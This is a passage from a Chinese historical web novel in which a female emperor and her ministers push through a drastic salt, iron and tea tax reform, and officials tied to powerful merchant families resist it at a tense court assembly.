“所以,他们是在告诉朕,”谢凤卿缓缓站起身,动作有些僵硬地走到那扇半开的长窗前,背对着萧御,也背对着那份令人绝望的奏报,看着窗外那片虚假的、明媚的、生机勃勃的春光,声音飘忽而冷冽,像是从很远的地方传来,“新政是错的?朕所做的一切,革除积弊,肃清贪腐,节省用度,都是在自掘坟墓?这万里江山,亿兆黎民,就该继续维持原状,被那些蛀虫一点点啃噬殆尽,直到油尽灯枯,社稷倾覆,才是正道?” “陛下!”萧御也立刻站起身,几步走到她身侧,并未靠得太近,却以一种守护的姿态站立,目光灼灼地、坚定无比地看着她绷紧的、苍白的侧脸,看着她紧抿的、失去血色的唇,“新政绝无错!此乃富民强国、革除百年积弊、挽狂澜于既倒之唯一正道!臣愿以性命担保!然,正如臣方才所言,积弊太深,如病入膏肓,脏腑皆腐,非寻常温和药剂可救,需用猛药,甚至……需刮骨疗毒!如今国库空虚至此,正是旧疾反扑、毒发攻心之凶险征兆!我们此刻需要的,不是迟疑,不是后退,而是更快、更猛、更有效、更能直击要害的‘猛药’!必须抢在毒发身亡之前,将腐肉彻底剜去!” “更快、更猛、更有效……直击要害……”谢凤卿喃喃重复着他的话,霍然转身!宽大的月白袖袍随着她的动作划出一道凌厉的弧线。她的目光如两道实质的闪电,劈开凝固的空气,直直刺入萧御深邃的眼眸,“你说,什么药?哪一味药,能立刻止住这崩坏之势,填上这滔天窟窿?” 萧御毫无惧色地迎着她的目光,那双总是沉静如深潭的风眸里,此刻燃烧着破釜沉舟、背水一战的决绝火焰。他上前半步,压低声音,一字一句,清晰无比,带着斩钉截铁的力度:“盐、铁、茶、酒、矾、香料……所有利润最厚、目前管制最松、漏洞最多、被权贵豪商把持最甚、对国库侵蚀最烈的行业,全部收回朝廷专营,或课以前所未有的重税! 重新制定简明而严厉的税则,简化税目,扩大税基,严查偷漏,凡有违者,抄家灭族!尤其盐、铁两项,乃国计民生之根本,军国之命脉,其利润之巨,足以支撑半壁江山!前朝盐税岁入高峰时,曾达千万两之巨!若能以雷霆手段,改革成功,肃清积弊,将利润真正收归国库,则岁入翻倍乃至翻数倍,绝非虚言妄语!此乃目前最快、最直接、亦是最有效的续命之方,强国之基!” 谢凤卿的瞳孔骤然收缩,如同针尖。盐铁专营,古已有之,但历朝历代,治丝益棼,弊端丛生至极点。官商勾结,走私猖獗,权贵插手,层层盘剥。百姓吃不起价高质劣的官盐,用不起管制严格的官铁;而朝廷看似垄断,实则税收大半流入私囊,盐铁官吏富得流油,国库却所得寥寥。 她登基之初,与萧御、周文康等心腹重臣商议国策时,并非没有考虑过对盐铁茶等动手,但深知其中牵扯利益之深、之广、之复杂,堪称帝国肌体上最庞大、最顽固的一颗毒瘤,稍有不慎,便是天下动荡,因此才决定先以“试行”、“缓图”之策,慢慢撬动。然而,国库空虚的警钟以如此急促、如此凄厉的方式敲响,宣告着“缓图”已无可能,温和的手段,已救不了这垂危的病人。 “你知道这其中的阻力有多大。”谢凤卿的声音恢复了某种冰冷的平静,但那平静之下,是比怒涛更加汹涌澎湃的暗流,是理智在与巨大的风险进行着最激烈的搏杀,“天下盐商,尤其两淮、浙江盐商,富可敌国,绝非虚言。他们与地方官吏、漕运衙门、乃至朝中六部、都察院、甚至……宗室勋贵,勾连之深,盘根错节,牵一发而动全身。 扬州盐商之奢靡,朕早有耳闻,其园林之精,享用之豪,恐朕之皇宫亦有不及。动他们,不啻于与半个官场、大半商界、乃至部分勋戚宗室为敌!铁业,关乎军械制造、民生百工,更牵涉将门、工部、内府,乃至各地藩王暗中的利益。茶、酒、矾、香料……每一样,背后都是一张巨大而坚韧的利益网,网上每一个节点,都可能是一个在地方上跺跺脚地面都要抖三抖的人物。 若强行推行,操之过急,恐非但不能充盈国库,反而会激起大变,东南不稳,边关生疑,届时内外交困,你我……如何收拾?” 第214章这关乎国计民生的命脉 她的分析冷静而残酷,将最坏的后果赤裸裸地铺开在两人面前。这不是怯懦,而是身为帝王必须考量的全局。一着不慎,满盘皆输,输掉的不仅是新政,可能是整个江山。 “臣知道。”萧御的回答,依旧斩钉截铁,没有丝毫犹豫,仿佛早已将这一切最坏的结果反复咀嚼、吞咽,化作了更坚定的决心,“陛下,臣与您一样清楚其中的风险,清楚我们将要面对的是怎样一群贪婪成性、爪牙锋利、且绝不会坐以待毙的豺狼。但是,陛下,我们已无退路!” 他的声音陡然提高,带着一种不容置疑的、破开迷雾的锐利:“国库空虚至此,存银不足三百万两!这是一个什么概念?北境一次中等规模的军事冲突,就可能耗去大半!一次稍大的洪涝地震,就可能将存粮掏空!若再瞻前顾后,畏首畏尾,拖延下去,一旦有事——无论是天灾还是人祸——便是塌天之祸!届时,莫说新政宏图将成为泡影,便是陛下与臣,乃至这刚刚稳定的‘凤翔’朝,这大周万里江山,都可能瞬间倾覆,万劫不复! 与其坐以待毙,等着那不知何时会落下的铡刀,不如放手一搏,拼死一争!趁现在新朝初立,陛下挫败政敌、登基祭天的威望正隆,臣执掌的影卫与监察司尚能掌控京城及大部分要地局面,周文康等干吏还未被彻底腐蚀或压垮,以雷霆万钧之势,快刀斩乱麻,强行推开这扇最厚重、最危险的利益之门!” 他目光灼灼,仿佛有火焰在瞳孔深处燃烧,那是一种将个人生死、家族荣辱皆置之度外的决绝:“只要我们能度过最初、最艰难、反扑最烈的阶段,只要新税制能真正运转起来,哪怕只是初步运转,让第一笔巨额的、实实在在的盐铁税收流入国库,让朝廷有了喘息之机,有了镇压任何叛乱的钱粮,大局便可初步稳定!届时,任何反对势力,在绝对充裕的国力、在重新凝聚的军心民心面前,都将逐渐土崩瓦解!此诚危急存亡之秋,唯有向前,向前,再向前!狭路相逢,勇者胜!” 他的话语,如同战鼓,一声声擂在谢凤卿的心头,也擂在这间充斥着绝望与焦虑的寝殿之中。那眼中燃烧的,不仅是决绝,更有对她毫无保留的忠诚、支持,以及誓与她同生共死、共赴地狱的深重情谊。是啊,无路可退了。从她决定穿上那身沉甸甸的凤冠龙袍,从断魂崖下的尸山血海中挣扎着爬回来,从站在祭坛之巅接受天命所归的“万岁”呼声那一刻起,就注定了这条帝王之路,必然布满荆棘,必然沾满鲜血,必然要与天下最顽固的势力为敌。妥协?退缩?那从来不是她谢凤卿骨子里的选择!她的命,是捡回来的;她的路,是自己一刀一枪拼出来的;她要的江山,是海晏河清的清明世界,而不是一个被蛀空了的华丽空壳! “你说的对。”她缓缓开口,声音低沉,却仿佛注入了千钧之力,带着一种定鼎乾坤、不容动摇的决断,目光中的最后一丝犹疑与冰冷彻底褪去,只剩下锐利如出鞘名剑的寒芒,“我们没有退路了。前方是万丈悬崖,后退是滔天火海。既然横竖都是死局,那便杀出一条血路!盐铁新税,必须行!而且要以最快的速度,最坚决的态度,最强硬的手段,推行下去!谁敢挡路,朕就踏着谁的尸骨过去!” 她走回书案后,重新坐下,脊背挺得笔直,如同雪原上宁折不弯的孤松。提笔,蘸墨(早已有内侍战战兢兢重新磨好),笔尖悬在空白的特旨用笺之上,目光锐利如刀,语速快而清晰: “传旨:三日后,三月十八,大朝会。朕要亲自主持,廷议盐、铁、茶、酒、矾、香料等项税制改革事宜。着户部、工部、刑部、都察院、内阁,即刻准备相关所有卷宗、近十年收支数据、各地利弊详情、盐引茶引发售记录、以及……初步的、切实可行的改革方案与推行步骤。告诉周文康,朕不要空话套话,不要畏难推诿之词,朕要实实在在、能立刻增加国库收入、且能长久施行的法子!方案要细,数据要实,胆魄要大!若三日后,朕在朝会上看不到像样的东西,他这个户部尚书,也不必做了!” 她笔下如飞,一行行铁画银钩、力透纸背的字迹跃然纸上。写罢,加盖随身小印,递给高无庸:“即刻发往内阁及户部!” “遵旨!”高无庸双手颤抖着接过,小跑着出去。 “另外,”她看向萧御,目光深邃如寒潭,却又燃烧着冰冷的火焰,“你的影卫和监察司,从即日起,进入最高戒备。动用所有力量,全力监控所有可能与盐、铁、茶、酒、矾、香料等利益直接或间接相关的官员、勋贵、皇亲、巨商!尤其是扬州、两淮、山西、福建、广州、四川等地的盐商、铁商、茶商巨头,以及他们在京中的代言人、靠山、白手套。朕要一份最详细的名录,包括他们的官职、籍贯、家世背景、主要生意、历年纳税(或逃税)情况、与朝中哪些人来往密切、可能的弱点把柄,以及……他们最可能采取的反制手段评估。记住,动作要隐秘,但速度要快!三日之内,朕要看到初步报告放在这书案上!” “臣,领旨!”萧御肃然躬身,眼中闪过刀锋般的凌厉与兴奋。他知道,陛下终于下定了决心,一场没有硝烟、却注定更加残酷血腥、决定国运的战争,即将打响。而他,早已准备好,做她手中最锋利、最无情的那把刀。 “还有,”谢凤卿补充道,指尖无意识地、用力地摩挲着冰冷光滑的紫檀木桌面,仿佛要从中汲取力量与冷静,“让周文康,将户部存档的、近二十年来盐、铁、茶等专营的账目副本,各地盐引、茶引、铁引的发放记录底档,相关盐课、铁课、茶课官吏的考核升迁档案,全部调出,密封送入宫中。朕要亲自看,一页一页地看!朕倒要瞧瞧,这每年数千万两白银的利润,这关乎国计民生的命脉,到底是怎么流的,又到底……流进了哪些人的口袋,养肥了哪些国之蛀虫!” “是!” 随着一道道冰冷而决绝的指令从乾元寝殿中发出的冰冷指令,如同在平静的湖面投下巨石,涟漪迅速扩散至整个紫禁城,乃至整个帝国的权力中枢。乾元宫内的气氛,在这明媚春光里,却如同数九寒冬,凛冽刺骨。那“不足三百万两”的残酷数字,像一柄无形的重锤,砸在每个人的心上,也彻底砸碎了任何侥幸与犹豫的余地。 接下来的三日,对许多人而言,是度日如年、寝食难安的三日。 内阁值房与户部衙署的灯火,彻夜不息。以周文康为首的一干户部、工部、刑部、都察院的核心官员,以及内阁的几位大学士,被接连不断的诏令催促着,如同上紧了发条的傀儡,疯狂地调阅卷宗、核算数据、推演方案、争吵辩论。每个人眼中都布满血丝,脸色蜡黄,空气中弥漫着浓烈的提神汤药与焦虑汗水混合的味道。他们知道,三日后的大朝会,将是一场决定国运、也决定他们个人前途甚至生死的硬仗。女帝要的,不是敷衍的方案,而是真正能扭转乾坤的猛药。这药方如何开,分量如何拿捏,会引发怎样的反噬,每一步都需反复权衡,如履薄冰。 与此同时,影卫与监察司这架庞大的、隐于暗处的国家机器,也以前所未有的效率高速运转起来。无数道密令从萧御手中发出,化作一张无形而严密的大网,悄无声息地撒向京城各个角落,撒向扬州、山西、广州、福建等地的暗桩。官员府邸外多了些不起眼的“货郎”或“乞丐”; 盐商巨贾的园林别业附近,出现了新的“邻居”或“游方僧人”;通往各地的驿道上,信使往来如织,传递着加密的讯息。一份份关于官员资产、商业往来、隐秘关系的密报,如同溪流汇入江河,最终涌向萧御的案头,被分门别类,整理成册。那些平日里道貌岸然、高谈阔论“为民请命”、“体恤商艰”的官员勋贵们,恐怕做梦也想不到,自己那些见不得光的底细,正被一双冰冷的眼睛,一丝不苟地记录在案。 而风暴中心的乾元宫,这三日却异乎寻常地“安静”。谢凤卿没有再召集任何大规模议事,大部分时间都独自待在御书房内,与堆积如山的历年盐铁茶账册、盐引茶引发售记录为伍。她屏退了大部分宫人,只留流云在旁伺候笔墨茶水。流云发现,陛下翻阅那些枯燥数字时的眼神,冷得吓人,时而凝神细看,时而提笔勾画,时而又会盯着某一行数字或某个名字,沉默良久,嘴角抿成一条冰冷的直线。那周身散发出的低气压,让流云连呼吸都不自觉放轻,动作愈发小心翼翼。 第215章漏洞百出,官商勾结,贪墨横行 偶尔,萧御会带着整理好的最新密报进来,两人便在御书房内低声商议,一谈便是许久。出来时,萧御的神色往往更加冷峻,而谢凤卿眉宇间的戾气,则似乎沉淀得更加深沉内敛,如同冰封的火山,只待一个爆发的契机。 紫禁城的上空,看似天朗气清,实则已是黑云压城,山雨欲来。每个人都感受到了那股令人窒息的无形压力,尤其是那些心中有鬼、与盐铁茶利益牵扯颇深之人,更是如坐针毡,惶惶不可终日。他们私下串联,打探消息,试图揣摩圣意,或谋划对策,空气中弥漫着一种山雨欲来前的诡异宁静与躁动不安。 终于,三日之期已至。 凤翔元年,三月十八。 清晨,天色未明,寅时刚过,京城还笼罩在一片深蓝色的静谧之中,唯有东方天际透出一线极淡的鱼肚白。然而,通往皇城的各条主要街道上,已是车马粼粼,灯火点点。一辆辆装饰着不同品级标识的马车,在护卫的簇拥下,沉默而迅疾地驶向承天门。车中的官员们,无论品级高低,此刻大多面色凝重,睡意全无。他们或正襟危坐,闭目养神,实则心绪翻腾;或悄悄掀开车帘一角,窥视着同样沉默行进的同僚车队,试图从对方的车驾速度、护卫多寡中揣测出些什么。空气中弥漫着一种难以言喻的紧张与压抑,连拉车的马匹似乎都感受到了,不时打着响鼻,蹄声在空旷的街道上回荡,显得格外清晰。 今日的大朝会,注定不同寻常。女帝登基不过两月余,便如此急切地要动盐铁茶税这块最大的蛋糕,其决心与手腕,早已通过陈廷敬的倒台和各地隐隐传来的风声,显露无疑。今日这金銮殿,是龙潭,是虎穴,是决定许多人命运走向的十字路口。 辰时初,百官已在金銮殿前的巨大汉白玉广场上按班次肃立完毕。春日清晨的风,依旧带着料峭寒意,吹得人官袍猎猎,也吹得许多人心底发凉。他们垂手低头,目光盯着自己靴尖前光洁如镜的金砖地面,不敢随意交头接耳,只用眼角余光互相打量着。许多人的官袍下摆,已被露水或冷汗微微打湿。 “陛下驾到——!” 随着司礼太监高亢尖锐的唱喏声划破广场的寂静,所有人的心猛地一紧,下意识地挺直了本就僵硬的脊背。 沉重的朱红殿门缓缓洞开。 谢凤卿的身影,出现在丹陛之上,九级御阶的尽头。 今日,她穿着一身极为庄重的玄色十二章纹帝王衮服。不同于登基大典时那套更加繁复华丽的祭服,也不同于平日朝会的常服,这套衮服庄重肃穆,玄衣纁裳,上衣绘日、月、星辰、山、龙、华虫六章,下裳绣宗彝、藻、火、粉米、黼、黻六章,以五彩丝线绣成,在晨光初露的天色下,流转着深沉内敛却又威严无比的光泽。 头戴十二旒白玉珠冕冠,冕板前圆后方,象征天圆地方;白玉珠串成的旒轻轻晃动,半遮半掩着她清丽绝伦却冰冷如霜的面容,只露出一双寒星般的眸子,目光透过晃动的珠旒,平静地、淡漠地扫视着下方黑压压的百官,无喜无悲,却带着一种令人窒息的、沉重的威压。 她一步步走下御阶,玄色衮服的下摆拂过雕刻着蟠龙祥云纹的汉白玉台阶,发出极轻微的、富有韵律的沙沙声。那声音在极度寂静的广场上,被放大得清晰可闻,仿佛踏在每个人的心弦上。她的步伐沉稳,从容,每一步的距离都仿佛经过最精确的丈量,带着一种定鼎乾坤、无可撼动的力量感。 终于,她踏上丹墀,在象征着至高无上权力的鎏金蟠龙宝座前缓缓转身,面向广场,然后,稳稳坐下。 “众卿平身。”她的声音透过珠旒传来,不高,却异常清晰,带着金属般的质感与穿透力,清晰地传入广场上每一位官员的耳中。 “谢陛下!”百官齐声应道,声音在空旷的广场上回荡,却掩饰不住那一丝不易察觉的颤抖与紧绷。 “今日大朝会,朕,只议一事。”谢凤卿没有给任何人喘息或铺垫的机会,开门见山,直指核心,声音冷冽如冰泉击石,“盐、铁、茶、酒、矾、香料等项税制之改革。户部,朕让你们拟定的章程,何在?” 没有迂回,没有试探,甚至连一句例行的“有事启奏”都省去了。这赤裸裸的、直奔主题的方式,让许多原本还抱着一丝侥幸、准备用长篇大论铺垫或转移话题的官员,心中一沉,最后一点幻想也随之破灭。女帝的态度,已然明了——这不是商议,是通知;不是讨论,是裁决。 户部尚书周文康深吸一口气,仿佛要将胸膛中所有的忐忑与恐惧都挤压出去,手持玉笏,出列向前。他这几日几乎未曾合眼,身形明显消瘦了一圈,眼窝深陷,但眼神却异常坚定,甚至带着一种豁出去的、近乎悲壮的决绝。他知道,今日之后,他要么成为新政的功臣,名垂青史;要么,便是第一批被旧势力反噬、死无葬身之地的祭品。但,他已无路可退。 “臣,户部尚书周文康,启奏陛下。”周文康的声音因连日的嘶喊争论和巨大的精神压力而显得异常沙哑干涩,但他努力挺直了因疲惫而微驼的脊背,让自己站得更稳,声音也努力拔高,力求让广场上的每一个人都能听清,“经户部与工部、刑部、都察院、内阁诸位大人,连日核查历年卷宗、核算天下数据、反复推演利弊,臣等深知,盐、铁、茶、酒、矾、香料等项,确为我朝税收之支柱,国用之所系。然,自前朝中叶以降,管理日渐废弛,漏洞百出,官商勾结,贪墨横行,私盐私铁充斥市面,国家明定之税,十之七八未能入库,巨额利润尽归私囊,实乃动摇国本之巨大毒瘤,侵蚀社稷之第一祸患!” 他顿了顿,目光扫过前排几位面色已然不善的官员,继续朗声道,语速加快,带着一种破釜沉舟的气势:“为扭转国库空虚之危局,保障新政得以顺利推行,强兵富民,稳固社稷,臣等冒天下之大不韪,殚精竭虑,拟定《新税制改革章程》草案,恭请陛下圣裁,亦请诸位同僚共议!” 说罢,他展开那份被汗水微微浸湿、承载着无数人心血与命运的厚厚奏章,开始高声宣读。章程内容极尽详实,条分缕析,核心改革措施,条条如刀,直指旧有利益格局的核心: 一、盐政改革: 彻底废除弊端丛生、易于舞弊的“盐引”制度(商人凭政府发放的盐引购买和运输食盐),全面推行“官督商办,分区专卖,统一定价,源头课税,严刑峻法以缉私”。将全国主要产盐区(如两淮、长芦、山东、四川、浙江等)重新划分为若干“盐区”,每区由朝廷公开招标,择取数家资本雄厚、信誉良好、且愿服从朝廷严格监管的大商号为“总商”,授予其该区食盐的收购、运输、销售专营权。 但“总商”并非完全自主:食盐的收购价、批发价、零售价均由朝廷根据成本、合理利润及税收需要统一核定,严禁私自抬价或降价倾销;盐税在食盐离开盐场或进入总商仓库时,即按统一税率一次性征缴,革除中间层层盘剥。同时,建立直属户部与都察院的、独立的“巡盐御史”体系,并扩充训练“盐丁”(武装缉私队伍),配备精良,权力极大,对走私食盐者,无论数量多寡,一律严惩,涉案官吏与商人同罪,鼓励民间告发,重奖举报者。 二、铁政改革: 鉴于铁器直接关乎军械制造、边防安全与民生基础,采取“核心官营,其余特许,高税严管”之策。大型优质铁矿、主要炼铁工场、所有军械制造作坊,一律由朝廷直属的工部“军器局”及地方“铁冶所”直接经营管理,其产品优先供应军队及官府工程,余量方可按官价出售。 民间中小型铁矿、炼铁炉、铁器作坊,必须向工部重新申请“冶铁特许状”,并缴纳高额的“矿产税”(按开采量)及“产品税”(按销售额)。获得特许的民间铁商,其生产种类、规模、产品质量、销售流向(尤其是可用于制造兵器的铁料)必须严格向官府报备,接受工部与监察司的定期与不定期检查。严禁任何形式的私自开矿、冶炼、及铸造兵器、甲胄等违禁铁器,违者以谋逆论处。 三、茶政改革: 参照盐政,推行“茶引改革,统购统销与商销结合,分区管理”。在主要产茶区(如福建、云南、四川、湖广)设立或加强“茶马司”,负责优质茶叶的统一收购、质量检验、官仓储存。 茶叶销售分两条腿走路:一部分上等茶叶,由“茶马司”直接经营,用于与西北、西南少数民族的“茶马互市”,换取战马等战略物资,并控制高端茶叶市场,获取最大利润;另一部分中下等茶叶,通过提高“茶引”价格、严格审核商人资质的方式,招标由获得“茶引”的商人销售,但“茶引”严格划定销售区域,严禁跨区倾销,扰乱市场。同时,大力整顿边境茶马互市,严厉打击走私茶叶出境。 第216章三千五百万两翻三倍 四、酒、矾、香料等其他高利润行业改革: 实行“高额特许经营税”与“重流通税”并举。凡欲从事酿酒、矾矿开采及矾制品销售、进口香料珠宝等行业的商人,必须向户部或地方布政使司购买价格极为昂贵的“特许经营牌”,并每年缴纳高额的特许经营费。同时,对这些商品的生产、流通环节课以重税。朝廷加强对这些行业生产过程的监督(如酿酒度数、矾矿安全、进口商品检验检疫等),并建立专门稽查队伍,严厉打击走私偷漏。 五、配套税制简化与税基扩大: 借此全面税改之机,合并、取消大量名目繁杂、滋生腐败的地方“杂捐”、“陋规”。但同时,适度提高全国统一的田赋、商税等主要税种的基准税率。最关键的一步,是强制要求各地,必须将之前大量被权贵、官绅、寺庙道观以各种手段隐匿、或利用特权免税的田产、商铺、山林、湖泽等,全部重新丈量登记,纳入国家征税范围,扩大税基,实现税收公平。 周文康一条一条,清晰而有力地宣读着。每念出一条,广场上的空气就仿佛凝固一分,温度就下降一度。许多官员,尤其是那些出身盐商、茶商、铁商巨贾家族,或在这些行业拥有干股、门铺、暗中参与经营的官员,脸色越来越难看,从最初的凝重,到惊愕,到愤怒,再到难以掩饰的恐惧与惨白。身体不受控制地微微颤抖起来,冷汗顺着额角、脊背涔涔而下,瞬间湿透了里衣。 这哪里是改革?这分明是抄家!是断根!是要将他们世代积累的财富、经营的人脉、享有的特权,连根拔起,彻底碾碎!那“统一定价”、“源头课税”、“核心官营”、“高额特许”、“重税严管”、“扩大税基”……每一个词,都像一把烧红的烙铁,狠狠地烫在他们的命门上!这意味着,他们再也不能利用信息差、利用关系网、利用制度漏洞,轻松攫取暴利;意味着他们积累的巨额财富,将被迫吐出大半,甚至可能因为过往的“不法”而被抄没;意味着他们家族的地位、影响力,将随着财源的枯竭而急剧衰落! “以上新税制,若能排除万难,顺利推行全国,”周文康念到最后,声音因激动和一种近乎虚脱的亢奋而颤抖得更加厉害,但他依旧竭力提高音量,让每一个字都重重砸在众人心头,“经臣等与精通数算之吏反复推演测算,仅盐、铁、茶三项,岁入便可从去岁实收的不足四百万两,激增至一千五百万两以上! 若再计入酒、矾、香料等其他项改革增收,以及清丈田亩、整顿商税等其他开源之策见效,国库岁入总额,翻三倍,达到三千五百万两至四千万两之间,绝非痴人说梦!届时,不仅当前巨额财政缺口可一举填平,朝廷更将有充裕银粮,兴修天下水利,巩固万里边防,赈济各地灾荒,推广官学教化,推行种种利民新政!此乃强国富国之基,盛世再现之望!陛下,此章程虽险,然利在千秋,臣等,冒死呈上,伏乞圣裁!” “三千五百万两……翻三倍……” “这……这怎么可能……” “与民争利,这是竭泽而渔!” 周文康话音落下,广场上死寂了足足数息,随即,低低的、难以置信的惊呼声、抽气声、压抑的议论声,如同潮水般从各个角落涌起,迅速汇聚成一片嗡嗡的嘈杂。许多人被这个天文数字般的预期震撼得头晕目眩,但更多的是感到一种灭顶之灾般的恐惧。若国库真有如此巨款,女帝的权柄将稳固到何等地步?她推行的那些“离经叛道”的新政,将再无财力掣肘!而他们这些依靠旧有秩序吸血生存的既得利益者,将彻底失去讨价还价的资本,甚至生存空间! “砰!” 一声沉闷而响亮的拍击声,如同惊雷炸响,瞬间压过了所有嘈杂! 只见都察院左副都御史,出身扬州盐商巨贾世家、家族掌控两淮盐业近三成份额的陈廷敬,再也按捺不住胸中滔天的怒火与深入骨髓的恐惧,猛地从文官队列中冲了出来!因为极度的愤怒和惊惶,他年过五旬、保养得宜的老脸涨得如同猪肝,花白的胡须剧烈地颤抖着,伸出的手指如同枯枝,直直地指向还站在丹墀下、手持奏章的周文康,嘶声喊道,声音因激动而劈裂变形: “陛下!陛下明鉴!周文康此奏,纯属一派胡言,耸人听闻,蛊惑圣听!此等章程,绝非治国良策,实乃祸国殃民、动摇国本之毒策!断不可行!万万不可行啊陛下!” 陈廷敬这一声吼,如同点燃了炸药桶的引信! “陛下!臣附议!”礼部右侍郎,其家族在福建拥有漫山茶园的刘文正,立刻出列,声音尖利,“盐铁茶酒,乃民生日常所系,自古以来,皆由民间经营,朝廷只需居中收税,稽察不法即可。若强行收回官营,或课以如此重税,必然导致经营成本剧增,商人无利可图,要么关门歇业,引发市面萧条;要么将税赋转嫁于民,致使盐价、铁价、茶价飞涨!届时,百姓吃不起盐,用不起铁,喝不起茶,此非陛下所倡之仁政,实乃暴政!必使民怨沸腾,天下汹汹,恐生大变!陛下,切不可听信周文康等人祸国之言!” “陛下,三思啊!”工部虞衡清吏司郎中,与山西多位大铁商有姻亲关系的赵德坤,也急步出列,他更“理性”地分析道,“盐商、茶商、铁商,经营数代,关系盘根错节,牵扯雇佣工匠、脚夫、船家数以十万计,贸然改制,使其血本无归,不仅这些商人要破产,底下依靠其生计的百姓亦将流离失所,此乃动摇地方根基,极易激起民变商乱!陛下登基不久,当以稳定为上,岂可如此激进?且周尚书所言岁入翻倍,纯属臆测!提高税率,商人为求生存,必千方百计逃税、走私,届时官盐官铁更无人问津,私盐私铁泛滥,朝廷非但收不到税,反而要耗费巨资缉私,百姓却要用更高的价钱购买私盐劣铁,此乃官民两伤,徒耗国帑啊!” “陛下,臣以为赵郎中所言有理!”户部云南清吏司一位员外郎(周文康的下属,但显然是某些势力的代言人)也站出来,一副就事论事的样子,“改革税制,需通盘考虑,循序渐进。如盐政,现行盐引制虽有弊端,然运行百年,自有其道理。不如先严查盐课官吏贪墨,追缴积欠,同时小幅提高盐引价格,或可在不影响大局之下,略增税收。若如周尚书所言,骤然巨变,恐天下盐商顷刻破产,朝廷从何处再找如此多熟悉盐务、资本雄厚之商人接手?若接手者无能,导致盐产不继,供应短缺,激起民变,又当如何?此非改革,实为取乱!” “陛下!祖宗成法,不可轻变啊!”一位须发皆白、德高望重、曾担任过帝师的老翰林,颤巍巍地被门生搀扶着出列,老泪纵横,以头抢地,嘶声道,“盐铁之制,乃太祖太宗所定,历经十余朝损益,方成定制。虽有瑕疵,然大体无亏。今上登基未久,正宜萧规曹随,休养生息,岂可因一时财用不足,便行此改弦更张、动摇国本之举?此非明君治国之道,实乃取祸之道!老臣恳请陛下,收回成命,广纳忠言,徐图改良,方为社稷之福,苍生之幸啊!” 反对之声,一浪高过一浪,如同海啸般扑向丹墀,扑向御座。理由五花八门,从“与民争利”、“引发民变”、“得不偿失”到“祖宗成法不可违”,看似冠冕堂皇,忧国忧民,实则核心只有一个: 触动了他们赖以生存的奶酪,必须拼死反对!广场之上,一时喧哗鼎沸,许多官员情绪激动,面红耳赤,仿佛周文康提出的不是税改方案,而是刨了他们祖坟的毒计。一些原本中立或心下支持新政但不敢明言的官员,也被这汹涌的反对声浪所慑,噤若寒蝉,低头不语。而少数支持新政的官员,如新任的几位阁臣、部分御史,想要出言驳斥,却被更大的声浪所淹没。 金銮殿前,这象征着帝国最高权力与秩序的庄严之地,此刻竟如同市井菜场,争吵怒骂之声不绝于耳。许多人的心思,已不在道理辩论,而在于用声势、用资历、用看似“忠贞”的姿态,迫使御座上那位年轻的、以女子之身登基的帝王让步、妥协、收回成命。他们相信,法不责众,如此多官员反对,女帝总不能将所有人都问罪吧? 周文康孤身站在丹墀之下,面对着潮水般的指责与攻讦,面色苍白如纸,身体微微摇晃,却死死咬着牙,攥紧了手中的奏章,倔强地昂着头,与那些愤怒的目光对视,口中嘶声反驳:“陈大人!刘大人!与民争利?利在何处?在你们陈家、刘家堆金积玉的库房里,还是在国库,在天下嗷嗷待哺的灾民口中?物价飞涨?统一定价,严查走私,正是为了平抑盐价,防止奸商囤积居奇,盘剥百姓!你们口口声声百姓,可曾见扬州盐价高企,贫者淡食? 可曾见山西铁器质劣价高,农户无力更换犁头?引发民变?那些被你们煽动、蛊惑的所谓‘民变’,究竟是民,还是你们拳养的豪奴打手?至于得不偿失,祖宗成法……更是无稽之谈!若祖宗成法完美无缺,国库何至于空虚至此?边关何至于烽烟不断?百姓何至于流离失所?变革,正是为了继承祖宗励精图治之志,而非墨守成规,坐视江山倾颓!” 第217章朕登基以来,一再给你们机会 “周文康!你休要血口喷人!” “你为讨好陛下,罔顾事实,其心可诛!” “陛下!万万不可听信此谗言啊!” 争吵越来越激烈,越来越失控,双方唇枪舌剑,互不相让,场面几乎陷入混乱。一些年轻气盛的官员,甚至开始推搡,眼看就要从文斗升级为武斗。负责朝会礼仪的御史和锦衣卫力士,面色紧张,不知是否该上前制止。 就在这混乱与喧嚣即将达到顶点、朝会尊严即将荡然无存之际—— “肃静。” 一个冰冷、清越、并不如何高亢,却仿佛带着奇异魔力、瞬间穿透所有嘈杂、清晰无比地传入每个人耳中的声音,从高高的御座上传来。 如同极地的寒风骤然席卷过沸腾的岩浆,又如同无形的巨手骤然扼住了所有人的喉咙。 金銮殿前,瞬间死寂。 所有的争吵、怒骂、辩解,戛然而止。所有人的目光,都带着惊悸、茫然、与难以言喻的恐惧,投向了那九旒冕冠之后、珠玉摇曳的御座之上。 谢凤卿缓缓地、极其缓慢地,从蟠龙宝座上站了起来。 玄色十二章纹衮服随着她的动作垂落,上面的日月星辰、山川龙蟒仿佛活了过来,在越来越亮的晨光中流转着令人不敢直视的、威严而冰冷的光华。珠旒晃动,碰撞发出细碎清越的声响,却丝毫无法柔和她周身散发出的、如同实质的凛冽寒气与磅礴帝威。 她没有看那些争吵的官员,目光平静地、甚至带着一丝奇异的淡漠,扫过全场,最后,落在了最先跳出来、此刻还因激动而胸膛剧烈起伏、面色赤红的陈廷敬身上。 “陈爱卿,”她的声音透过珠旒传来,很平静,甚至没有丝毫怒意,只是平静地、带着一丝几乎难以察觉的探究,问道:“你方才说,此乃‘祸国殃民、动摇国本之毒策’?” 陈廷敬被那穿透珠旒、冰冷刺骨的目光一刺,激灵灵打了个寒颤,仿佛一盆冰水从头浇下,怒火瞬间被浇熄大半,只剩下透骨的寒意。但事已至此,众目睽睽,他已是骑虎难下,只能硬着头皮,将戏演到底。他扑通一声跪下,以额触地,声音带着哭腔,却依旧坚持道:“是……是,陛下,老臣……老臣愚钝,然一片赤诚,皆为社稷,皆为黎民啊!此策若行,必致天下板荡,老臣……老臣不忍见陛下为奸佞所误,不忍见祖宗基业毁于一旦!恳请陛下明察!” “为国为民?为社稷为黎民?”谢凤卿轻轻重复,忽地,极轻地、几乎无声地笑了一下。那笑意没有到达眼底,反而让她的眼神更加冰冷锐利,如同万年玄冰雕琢而成。“好一个为国为民,好一片赤胆忠心。那朕倒要问问陈爱卿,你扬州老宅,占地百亩,其中亭台楼阁,雕梁画栋,引活水为湖,堆奇石为山,蓄养歌姬舞女上百,奇珍异宝无数,据说其豪奢程度,比朕这紫禁城也不遑多让,是也不是?” 